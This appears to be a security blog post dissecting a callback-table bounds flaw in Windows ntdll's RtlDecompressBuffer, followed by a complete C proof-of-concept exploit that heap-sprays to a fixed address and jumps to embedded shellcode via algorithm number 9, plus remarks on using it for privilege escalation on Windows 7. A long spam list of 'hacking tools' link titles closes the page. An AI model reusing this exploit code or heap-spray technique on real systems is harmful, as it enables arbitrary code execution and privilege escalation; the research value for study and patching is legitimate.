The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.
The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.
The algorithms callback table
Notice the five nops at the end probably for adding new algorithms in the future.
The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]
The bounrady checks
We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:
int RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6) { int result; // eax@4 if ( algorithm & algorithm != 1 ) { if ( algorithm & 0xF0 ) result = -1073741217; else result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6); } else { result = -1073741811; } return result; }
Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.
let's check the disassembly on Win7 32bits:
- the movzx limits the boundaries to 16bits
- the test ax, ax avoids the algorithm 0
- the cmp ax, 1 avoids the algorithm 1
- the test al, 0F0h limits the boundary .. wait .. al?
Let's calc the max two bytes number that bypass the test al, F0h
unsigned int max(void) {
__asm__("xorl %eax, %eax");
__asm__("movb $0xff, %ah");
__asm__("movb $0xf0, %al");
}
int main(void) {
printf("max: %u\n", max());
}
The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9?
So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.
Proof of concept
This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.
The result on WinXP:
The result on Win7 32bits:
And the exploit code:
/* ntdll!RtlDecompressBuffer() vtable exploit + heap spray by @sha0coder */ #include #include #include #define KB 1024 #define MB 1024*KB #define BLK_SZ 4096 #define ALLOC 200 #define MAGIC_DECOMPRESSION_AGORITHM 9 // WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php /* unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93" "\xBF\x77\xFF\xD2\xCC" "\xE8\xF3\xFF\xFF\xFF" "\x63\x61\x6C\x63"; */ // https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html char *shellcode = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" "\x77\x20\x8b\x3f\x80\x7e\x0c\x33" "\x75\xf2\x89\xc7\x03\x78\x3c\x8b" "\x57\x78\x01\xc2\x8b\x7a\x20\x01" "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" "\x45\x81\x3e\x43\x72\x65\x61\x75" "\xf2\x81\x7e\x08\x6f\x63\x65\x73" "\x75\xe9\x8b\x7a\x24\x01\xc7\x66" "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" "\xb1\xff\x53\xe2\xfd\x68\x63\x61" "\x6c\x63\x89\xe2\x52\x52\x53\x53" "\x53\x53\x53\x53\x52\x53\xff\xd7"; PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits void fail(const char *msg) { printf("%s\n\n", msg); exit(1); } PUCHAR spray(HANDLE heap) { PUCHAR map = 0; printf("Spraying ...\n"); printf("Aproximating to %p\n", landing_ptr); while (map < landing_ptr-1*MB) { map = HeapAlloc(heap, 0, 1*MB); } //map = HeapAlloc(heap, 0, 1*MB); printf("Aproximated to [%x - %x]\n", map, map+1*MB); printf("Landing adddr: %x\n", landing_ptr); printf("Offset of landing adddr: %d\n", landing_ptr-map); return map; } void landing_sigtrap(int num_of_traps) { memset(landing_ptr, 0xcc, num_of_traps); } void copy_shellcode(void) { memcpy(landing_ptr, shellcode, strlen(shellcode)); } int main(int argc, char **argv) { FARPROC RtlDecompressBuffer; NTSTATUS ntStat; HANDLE heap; PUCHAR compressed, uncompressed; ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz; RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer"); heap = GetProcessHeap(); compressed_sz = estimated_uncompressed_sz = 1*KB; compressed = HeapAlloc(heap, 0, compressed_sz); uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz); spray(heap); copy_shellcode(); //landing_sigtrap(1*KB); printf("Landing ...\n"); ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz); switch(ntStat) { case STATUS_SUCCESS: printf("decompression Ok!\n"); break; case STATUS_INVALID_PARAMETER: printf("bad compression parameter\n"); break; case STATUS_UNSUPPORTED_COMPRESSION: printf("unsuported compression\n"); break; case STATUS_BAD_COMPRESSION_BUFFER: printf("Need more uncompressed buffer\n"); break; default: printf("weird decompression state\n"); break; } printf("end.\n"); }
The attack vector
This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7
Read more
- Hack Tools Mac
- Pentest Tools For Android
- Nsa Hacker Tools
- Hacker Tools For Mac
- Kik Hack Tools
- Pentest Tools Framework
- Nsa Hack Tools
- Pentest Tools Framework
- Pentest Recon Tools
- Hack Tools
- Pentest Tools Free
- Beginner Hacker Tools
- Hack App
- Hacker Tools List
- Pentest Tools For Ubuntu
- Hacker Tools Apk Download
- Hacking Tools For Pc
- Black Hat Hacker Tools
- Pentest Tools Linux
- Growth Hacker Tools
- Hack Website Online Tool
- Pentest Tools
- Pentest Tools Android
- Pentest Tools Port Scanner
- Hacking Tools For Windows
- Hacking Tools Name
- Usb Pentest Tools
- Best Hacking Tools 2019
- Hacking Tools Free Download
- Hacking Tools 2019
- Usb Pentest Tools
- Pentest Tools Download
- Hacking Tools Mac
- Hacking Tools For Mac
- Hacker Tools
- Hackrf Tools
- Hacker Tools Mac
- Pentest Tools Port Scanner
- Pentest Tools Subdomain
- Hacking Tools For Games
- Hak5 Tools
- How To Make Hacking Tools
- How To Install Pentest Tools In Ubuntu
- Hack Rom Tools
- Hacker Tools Github
- Hacking Tools And Software
- Bluetooth Hacking Tools Kali
- Hacker Security Tools
- Hacking Tools Free Download
- Hack And Tools
- Hacking Tools Mac
- Pentest Tools Windows
- Hack Tools For Mac
- Growth Hacker Tools
- World No 1 Hacker Software
- Hacker Tools For Ios
- Hacking Tools Mac
- Nsa Hack Tools
- Pentest Tools Android
- Hacker Tools 2019
- Pentest Tools For Android
- Hackrf Tools
- Hack Tools For Ubuntu
- Wifi Hacker Tools For Windows
- Tools For Hacker
- Hacking Tools For Windows Free Download
- Pentest Tools Website Vulnerability
- Pentest Tools Tcp Port Scanner
- Github Hacking Tools
- Hack Tools
- Hak5 Tools
- Easy Hack Tools
- Hacker Tools 2020
- Tools For Hacker
- Pentest Box Tools Download
- Wifi Hacker Tools For Windows
- Pentest Tools List
- How To Make Hacking Tools
- Hacking Tools For Windows 7
- Top Pentest Tools
- Black Hat Hacker Tools
- Wifi Hacker Tools For Windows
- Hacking Tools Kit
- Pentest Tools Github
- Pentest Tools Review
- Hack Tools For Mac
- Growth Hacker Tools
- Github Hacking Tools
- Hacker Tools For Windows
- Pentest Tools Github
- New Hacker Tools
- Pentest Tools Bluekeep
- Hack Rom Tools
- Hack And Tools
- New Hack Tools
- Hacking Tools Mac
- Nsa Hack Tools
- Physical Pentest Tools
- Hacking Tools Download
- Underground Hacker Sites
- Pentest Tools Kali Linux
- Usb Pentest Tools
- Hacker Tools For Pc
- Hacker Tools Windows
- Pentest Tools Port Scanner
No comments:
Post a Comment